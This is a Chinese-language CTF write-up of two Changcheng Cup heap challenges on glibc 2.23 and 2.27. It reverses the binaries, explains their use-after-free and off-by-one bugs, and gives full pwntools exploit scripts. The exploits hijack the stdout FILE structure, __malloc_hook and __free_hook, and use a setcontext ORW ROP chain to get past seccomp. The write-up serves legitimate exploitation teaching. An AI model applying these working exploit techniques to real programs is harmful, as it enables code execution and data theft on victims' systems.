<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】從長城杯兩道題目看新老libc的利用

    VSole2022-07-26 08:50:24

    長城杯出了三道題目,除了easy_vm之外剩下的兩道都是libc題,一個是libc2.23,一個是libc2.27-1.4。正好可以從這兩道題目中看一下新老版本的libc的利用方式。

    K1ng_in_h3Ap_I

    這道題目是一個入門級的題目,libc的版本是2.23

    GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.Copyright (C) 2016 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.
    Compiled by GNU CC version 5.4.0 20160609.Available extensions:
            crypt add-on version 2.1 by Michael Glad and others
            GNU Libidn by Simon Josefsson
            Native POSIX Threads Library by Ulrich Drepper et al
            BIND-8.2.3-T5B
    libc ABIs: UNIQUE IFUNC
    For bug reporting instructions, please see:
    <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
    

    我們逆向分析一下這個程序,題目的邏輯很簡單,是一個基礎的菜單題目,一共有add,delete,edit三種,并且存在一個后門函數也就是輸入666的時候觸發調用,先來看一下后門函數

    return printf("%p\n", (const void *)((unsigned __int64)&printf & 0xFFFFFF));
    

    也就是我們可以直接通過后門函數獲取得到libc基地址的低3字節,那么這個有什么用呢,我們接下來在看,繼續分析其他的函數

    add函數,申請我們輸入指定size大小的內存堆塊

    _DWORD *add(){
      _DWORD *result; // rax
      int index; // [rsp+8h] [rbp-8h]
      int size; // [rsp+Ch] [rbp-4h]
      puts("input index:");
      index = readint();  if ( index < 0 || index > 10 )    exit(0);  puts("input size:");
      size = readint();  if ( size < 0 || size > 0xF0 )    exit(0);
      buf_list[index] = malloc(size);
      result = size_list;
      size_list[index] = size;  return result;
    }
    

    但是這里size的大小不能超過0xf0。再來看一下delete函數

    void sub_C41(){  int index; // [rsp+Ch] [rbp-4h]
      puts("input index:");
      index = readint();  if ( index < 0 || index > 10 || !*((_QWORD *)&buf_list + index) || !size_list[index] )    exit(0);  free(*((void **)&buf_list + index));
    }
    

    這里delete函數直接釋放了我們在add函數中申請的內存空間,但是這里沒有將buf_list和size_list中的相應位置清空,導致存在一個UAF的漏洞,再看一下edit函數

    __int64 edit(){  int index; // [rsp+Ch] [rbp-4h]
      puts("input index:");
      index = readint();  if ( index < 0 || index > 15 || !buf_list[index] )    exit(0);  puts("input context:");  return do_edit(buf_list[index], (unsigned int)size_list[index]);
    }
    

    edit函數這里調用了一個do_edit函數來進行內容的更改,函數如下

    unsigned __int64 __fastcall do_edit(__int64 address, int size){  char buf; // [rsp+13h] [rbp-Dh] BYREF
      int index; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v5; // [rsp+18h] [rbp-8h]
      v5 = __readfsqword(0x28u);
      index = 0;  do
      {    if ( !(unsigned int)read(0, &buf, 1uLL) )      exit(0);    if ( buf == 10 )      break;
        *(_BYTE *)(address + index++) = buf;
      }  while ( index <= size );  return __readfsqword(0x28u) ^ v5;
    }
    

    這里可以看到存在一個off-by-one漏洞,當index=size的時候還是可以輸入一個字節。

    那么逆向分析結束之后發現了兩個漏洞,一個是UAF漏洞,另一個是off-by-one漏洞,并且這里我們可以獲取得到libc基地址的低3字節的內容。由于這里是libc2.23,我們直接考慮fastbin attack,覆寫malloc_hook為one_gadget之后直接getshell。但是這里還是存在一個問題就是我們需要泄漏出libc全部的地址。

    那么這里就攻擊stdoout的結構體來泄漏地址了。我們看一下這個結構體。

    type = struct _IO_FILE {    int _flags;    char *_IO_read_ptr;    char *_IO_read_end;    char *_IO_read_base;    char *_IO_write_base;    char *_IO_write_ptr;    char *_IO_write_end;    char *_IO_buf_base;    char *_IO_buf_end;    char *_IO_save_base;    char *_IO_backup_base;    char *_IO_save_end;    struct _IO_marker *_markers;
        struct _IO_FILE *_chain;
        int _fileno;    int _flags2;    __off_t _old_offset;    unsigned short _cur_column;    signed char _vtable_offset;    char _shortbuf[1];
        _IO_lock_t *_lock;    __off64_t _offset;    struct _IO_codecvt *_codecvt;
        struct _IO_wide_data *_wide_data;
        struct _IO_FILE *_freeres_list;
        void *_freeres_buf;    size_t __pad5;    int _mode;    char _unused2[20];
    }
    

    如果我們可以申請堆塊到stdout所在的內存空間,然后發泄write_base的低1字節為0,那么就會有很大的數據輸出。問題是怎么申請內存空間到這里呢,別忘了前面有我們的UAF,我們可以通過UAF和fastbin做到一個任意地址分配,當然這個地址需要滿足size的檢查,這里我們恰好在stdout結構體的上方發現了一個位置

    pwndbg> x/20gx 0x7ffff7dd2620-0x400x7ffff7dd25e0 <_IO_2_1_stderr_+160>:   0x00007ffff7dd1660      0x00000000000000000x7ffff7dd25f0 <_IO_2_1_stderr_+176>:   0x0000000000000000      0x00000000000000000x7ffff7dd2600 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x00000000000000000x7ffff7dd2610 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x00000000000000000x7ffff7dd2620 <_IO_2_1_stdout_>:       0x00000000fbad3887      0x00007ffff7dd26a30x7ffff7dd2630 <_IO_2_1_stdout_+16>:    0x00007ffff7dd26a3      0x00007ffff7dd26a30x7ffff7dd2640 <_IO_2_1_stdout_+32>:    0x00007ffff7dd26a3      0x00007ffff7dd26a30x7ffff7dd2650 <_IO_2_1_stdout_+48>:    0x00007ffff7dd26a3      0x00007ffff7dd26a30x7ffff7dd2660 <_IO_2_1_stdout_+64>:    0x00007ffff7dd26a4      0x00000000000000000x7ffff7dd2670 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000pwndbg> x/20gx 0x7ffff7dd2620-0x430x7ffff7dd25dd <_IO_2_1_stderr_+157>:   0xfff7dd1660000000      0x000000000000007f0x7ffff7dd25ed <_IO_2_1_stderr_+173>:   0x0000000000000000      0x00000000000000000x7ffff7dd25fd <_IO_2_1_stderr_+189>:   0x0000000000000000      0x00000000000000000x7ffff7dd260d <_IO_2_1_stderr_+205>:   0x0000000000000000      0x00000000000000000x7ffff7dd261d <_IO_2_1_stderr_+221>:   0x00fbad3887000000      0xfff7dd26a30000000x7ffff7dd262d <_IO_2_1_stdout_+13>:    0xfff7dd26a300007f      0xfff7dd26a300007f0x7ffff7dd263d <_IO_2_1_stdout_+29>:    0xfff7dd26a300007f      0xfff7dd26a300007f0x7ffff7dd264d <_IO_2_1_stdout_+45>:    0xfff7dd26a300007f      0xfff7dd26a300007f0x7ffff7dd265d <_IO_2_1_stdout_+61>:    0xfff7dd26a400007f      0x000000000000007f0x7ffff7dd266d <_IO_2_1_stdout_+77>:    0x0000000000000000      0x0000000000000000
    

    也就是-0x43的位置中的0x7f恰好可以作為0x70的fastbin堆塊。但是我們現在只有低3字節,還需要在堆中提前布局一個libc附近的地址。這里可以直接利用main_arena的地址,利用off-by-one很容易做到堆塊合并,進而釋放到unsorted bin中,再次申請就能拿到一個libc附近的地址了,覆寫該地址的低3字節即可申請到stdout結構體中泄漏出libc的地址

    [DEBUG] Received 0xc0 bytes:    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
        *    00000020  87 38 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │·8··│····│····│····│    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│    00000040  00 26 dd f7  ff 7f 00 00  a3 26 dd f7  ff 7f 00 00  │·&··│····│·&··│····│    00000050  a3 26 dd f7  ff 7f 00 00  a3 26 dd f7  ff 7f 00 00  │·&··│····│·&··│····│    00000060  a4 26 dd f7  ff 7f 00 00  00 00 00 00  00 00 00 00  │·&··│····│····│····│    00000070  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│    00000080  00 00 00 00  00 00 00 00  e0 18 dd f7  ff 7f 00 00  │····│····│····│····│    00000090  01 00 00 00  00 00 00 00  ff ff ff ff  ff ff ff ff  │····│····│····│····│    000000a0  00 00 00 31  2e 20 61 64  64 0a 32 2e  20 64 65 6c  │···1│. ad│d·2.│ del│    000000b0  65 74 65 0a  33 2e 20 65  64 69 74 0a  3e 3e 20 0a  │ete·│3. e│dit·│>> ·│    000000c0
    

    拿到libc的地址之后就很好說了,利用相同的思路分配堆塊到malloc_hook的位置,覆寫其為one_gadget。但是這里存在一個問題就是one_gadget都不能使用,需要使用realloc進行棧幀的調整,小問題。

    # -*- coding: utf-8 -*-
    from pwn import *
    file_path = "./pwn"context.arch = "amd64"elf = ELF(file_path)
    debug = 1if debug:
        p = process([file_path])
        # gdb.attach(p, "b *$rebase(0xE52)")
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]else:
        p = remote('47.104.175.110', 20066)
        libc = ELF('./libc.so.6')
        one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    def add(index, size):
        p.sendlineafter(">> \n", "1")
        p.sendlineafter("input index:\n", str(index))
        p.sendlineafter("input size:\n", str(size))
    def delete(index):
        p.sendlineafter(">> \n", "2")
        p.sendlineafter("input index:\n", str(index))
    def edit(index, content):
        p.sendlineafter(">> \n", "3")
        p.sendlineafter("input index:\n", str(index))
        p.sendafter("input context:\n", content)
    def show():
        p.sendlineafter(">> \n", "666")
    ori_io = libc.sym['_IO_2_1_stdout_']
    show()
    libc.address = int(p.recvline().strip(), 16) - libc.sym['printf']
    add(0, 0x68)
    add(1, 0x68)
    add(2, 0x68)
    add(3, 0x68)
    payload = b"a"*0x68 + b"\xe1"delete(1)
    edit(0, payload)delete(1)
    add(6, 0x3)
    payload = b"a"*0x68 + b"\x71"edit(0, payload)
    payload = p32(libc.sym['_IO_2_1_stdout_'] - 0x43)[:3] + b"\n"edit(6, payload)
    add(4, 0x68)
    add(5, 0x68)
    payload = b"\x00"*3 + p64(0)*6 + p64(0x00000000fbad2887 | 0x1000) + p64(0)*3 + b"\x00" + b"\n"edit(5, payload)
    p.recvuntil(p64(0x00000000fbad2887 | 0x1000))
    p.recv(0x18)
    libc.address = u64(p.recv(8)) + 0x20 - ori_iodelete(4)
    payload = p64(libc.sym['__malloc_hook'] - 0x23) + b"\n"edit(1, payload)
    add(7, 0x68)
    add(8, 0x68)
    payload = b"\x00"*3 + p64(0)*1 + p64(one_gadget[1] + libc.address) + p64(libc.sym['realloc'] + 8) + b"\n"edit(8, payload)
    add(9, 0x68)
    p.interactive()
    

    K1ng_in_h3Ap_II

    這個題目就是在I的基礎上進行修改的,這里我們發現libc變成了2.27

    GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.
    Compiled by GNU CC version 7.5.0.
    libc ABIs: UNIQUE IFUNC
    For bug reporting instructions, please see:
    <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
    

    在1.4中加入了對tcache的double free檢查,我們先分析一下程序,這里在一開始加入了沙箱,我們不能直接getshell了

    line  CODE  JT   JF      K
    ================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
     0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
     0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
     0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0007: 0x06 0x00 0x00 0x00000000  return KILL
    

    同樣邏輯很簡單,是一個菜單題目,共有add,delete,edit,show四個選項,首先看一下add函數

    _DWORD *add(){
      _DWORD *result; // rax
      int index; // [rsp+8h] [rbp-8h]
      int v2; // [rsp+Ch] [rbp-4h]
      puts("input index:");
      index = readint();  if ( index < 0 || index > 15 )    exit(0);  puts("input size:");
      v2 = readint();  if ( v2 <= 15 || v2 > 0x60 )    exit(0);
      buf_list[index] = malloc(v2);
      result = size_list;
      size_list[index] = v2;  return result;
    }
    

    這里對堆塊的大小進行了限制,堆塊的大小不能超過0x60個字節。但是其實這里沒啥影響,因為這里是用的tcache,tcache從來不檢查size。接著看一下delete函數

    void delete(){  int v0; // [rsp+Ch] [rbp-4h]
      puts("input index:");
      v0 = readint();  if ( v0 < 0 || v0 > 15 || !buf_list[v0] )    exit(0);  free((void *)buf_list[v0]);
    }
    

    這里還是老問題,在釋放的時候沒有對buf_list進行清空,因此這里存在UAF的漏洞。然后看一下edit函數

    ssize_t edit()
    {  int v1; // [rsp+Ch] [rbp-4h]
      puts("input index:");
      v1 = readint();  if ( v1 < 0 || v1 > 15 || !buf_list[v1] )    exit(0);  puts("input context:");  return read(0, (void *)buf_list[v1], (int)size_list[v1]);
    }
    

    edit函數,這里直接用了read進行內容的修改,沒有了之前的off-by-one漏洞。然后是show函數直接puts輸出了堆塊中的內容。

    那么現在是tcache 1.4中存在一個UAF的漏洞,那么這里我們首先泄漏一下地址,首先堆地址很好泄漏,釋放兩個堆塊,然后show一個堆塊就能泄漏出堆地址來了,但是libc的地址怎么泄漏,我們無法申請0x90大小以上的堆塊,因此不能直接將堆塊釋放到unsroted bin鏈表中。這里用到的一個思路就是sscanf函數在接收大量數據的時候會申請超大的內存堆塊,而超大的內存堆塊會觸發堆空間合并的機制,即將fastbin中的堆塊全部弄到bins鏈表中。

    那么這里我們首先在fastbin中留一個堆塊,然后觸發堆合并,再show這個堆塊,那么就能泄漏出libc的地址。

    pwndbg> heapinfo
    (0x20)     fastbin[0]: 0x555555603790 --> 0x0(0x30)     fastbin[1]: 0x0(0x40)     fastbin[2]: 0x0(0x50)     fastbin[3]: 0x0(0x60)     fastbin[4]: 0x555555604200 --> 0x0(0x70)     fastbin[5]: 0x0(0x80)     fastbin[6]: 0x0(0x90)     fastbin[7]: 0x0(0xa0)     fastbin[8]: 0x0(0xb0)     fastbin[9]: 0x0
                      top: 0x5555556042c0 (size : 0x1fd40)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0(0x20)   tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0(0x50)   tcache_entry[3](1): 0x555555603f20(0x60)   tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70(0x70)   tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0(0x80)   tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50(0xd0)   tcache_entry[11](1): 0x555555603310(0xf0)   tcache_entry[13](2): 0x555555603d00 --> 0x555555603670s
    

    執行p.sendlineafter(">> \n", "1"*0x1100) 堆空間如下

    pwndbg> heapinfo
    (0x20)     fastbin[0]: 0x0(0x30)     fastbin[1]: 0x0(0x40)     fastbin[2]: 0x0(0x50)     fastbin[3]: 0x0(0x60)     fastbin[4]: 0x0(0x70)     fastbin[5]: 0x0(0x80)     fastbin[6]: 0x0(0x90)     fastbin[7]: 0x0(0xa0)     fastbin[8]: 0x0(0xb0)     fastbin[9]: 0x0
                      top: 0x5555556042c0 (size : 0x1fd40)
           last_remainder: 0x0 (size : 0x0)
                unsortbin: 0x0(0x020)  smallbin[ 0]: 0x555555603790(0x060)  smallbin[ 4]: 0x555555604200 // 合并的堆塊(0x20)   tcache_entry[0](7): 0x5555556038b0 --> 0x5555556039c0 --> 0x555555603c70 --> 0x555555603df0 --> 0x555555603c50 --> 0x555555603f00 --> 0x555555603ad0(0x50)   tcache_entry[3](1): 0x555555603f20(0x60)   tcache_entry[4](7): 0x5555556041b0 --> 0x555555604150 --> 0x5555556040f0 --> 0x555555604090 --> 0x555555604030 --> 0x555555603fd0 --> 0x555555603f70(0x70)   tcache_entry[5](7): 0x5555556037c0 --> 0x555555603b60 --> 0x5555556038d0 --> 0x555555603af0 --> 0x555555603c90 --> 0x555555603e10 --> 0x5555556039e0(0x80)   tcache_entry[6](5): 0x555555603830 --> 0x555555603940 --> 0x555555603bd0 --> 0x555555603e80 --> 0x555555603a50(0xd0)   tcache_entry[11](1): 0x555555603310(0xf0)   tcache_entry[13](2): 0x555555603d00 --> 0x555555603670
    

    觸發堆合并之后就能泄漏出地址。泄漏出libc的地址接下來就好說了,我們直接利用UAF申請堆塊到free_hook的位置,將其覆寫為setcontext+53,進行棧遷移,執行ORW。但是這里存在一個問題就是我們最大能控制的大小為0x60,而ORW的鏈肯定大于0x60的,因此這里我們需要先執行一個read的rop,從而讀取orw繼續執行。

    # -*- coding: utf-8 -*-import syslog
    from pwn import *
    file_path = "./pwn"context.arch = "amd64"elf = ELF(file_path)
    debug = 1if debug:
        p = process([file_path])
        # gdb.attach(p, "b *$rebase(0xE52)")
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]else:
        p = remote('47.104.175.110', 20066)
        libc = ELF('./libc.so.6')
        one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    def add(index, size):
        p.sendlineafter(">> \n", "1")
        p.sendlineafter("input index:\n", str(index))
        p.sendlineafter("input size:\n", str(size))
    def delete(index):
        p.sendlineafter(">> \n", "2")
        p.sendlineafter("input index:\n", str(index))
    def edit(index, content):
        p.sendlineafter(">> \n", "3")
        p.sendlineafter("input index:\n", str(index))
        p.sendafter("input context:\n", content)
    def show(index):
        p.sendlineafter(">> \n", "4")
        p.sendlineafter("input index:\n", str(index))for i in range(9):
        add(i, 0x58)for i in range(8):    delete(i)
    show(1)
    heap_address = u64(p.recvline().strip().ljust(8, b"\x00"))
    p.sendlineafter(">> \n", "1"*0x1100)
    show(7)
    libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 0x10 - libc.sym['__malloc_hook'] - 0xb0for i in range(7, -1, -1):
        add(i, 0x58)delete(0)delete(1)
    edit(1, p64(libc.sym['__free_hook']))
    add(1, 0x58)
    add(9, 0x58)
    # # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];# magic = 0x0000000000154930 + libc.addressp_rdi_r = 0x00000000000215bf + libc.address
    p_rsi_r = 0x0000000000023eea + libc.address
    p_rax_r = 0x0000000000043ae8 + libc.address
    p_rdx_r = 0x0000000000001b96 + libc.address
    syscall = 0x00000000000d2745 + libc.address
    ret = 0x00000000000c0c9d + libc.address
    setcontext = libc.sym['setcontext'] + 53orw_address = heap_address + 0xc0orw_read_address = orw_address + 0x48flag_str_address = libc.sym['__free_hook'] + 0x10flag_address = flag_str_address + 0x10orw = flat([
        p_rdi_r, flag_str_address,
        p_rsi_r, 0,
        p_rax_r, 2,
        syscall,
        p_rdi_r, 3,
        p_rsi_r, flag_address,
        p_rdx_r, 0x30,
        p_rax_r, 0,
        syscall,
        p_rdi_r, 1,
        p_rsi_r, flag_address,
        p_rdx_r, 0x30,
        p_rax_r, 1,
        syscall
    ])
    orw_read = flat([
        p_rdi_r, 0,
        p_rsi_r, orw_read_address,
        p_rdx_r, 0x200,
        p_rax_r, 0,
        syscall,
    ])
    edit(9, p64(setcontext) + p64(0) + b"./flag")
    payload = b"\x00"*0x40 + p64(orw_address) + p64(ret)
    edit(2, payload)
    edit(3, orw_read)delete(1)
    p.sendline(orw)
    p.interactive()
    
    str函數char函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    如何調包Win32API函數?其實就是HookPE文件自己的IAT表。
    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點頭暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制下,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    VMPWN的入門系列-1
    2023-07-27 09:45:00
    今天的文章有點長,圖片比較多,請耐心閱讀5.1 實驗一 VMPWN15.1.1 題目簡介這是一道基礎的VM相關題目,VMPWN的入門級別題目。
    在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    之后想到了更完美的辦法
    漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改,本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve。
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类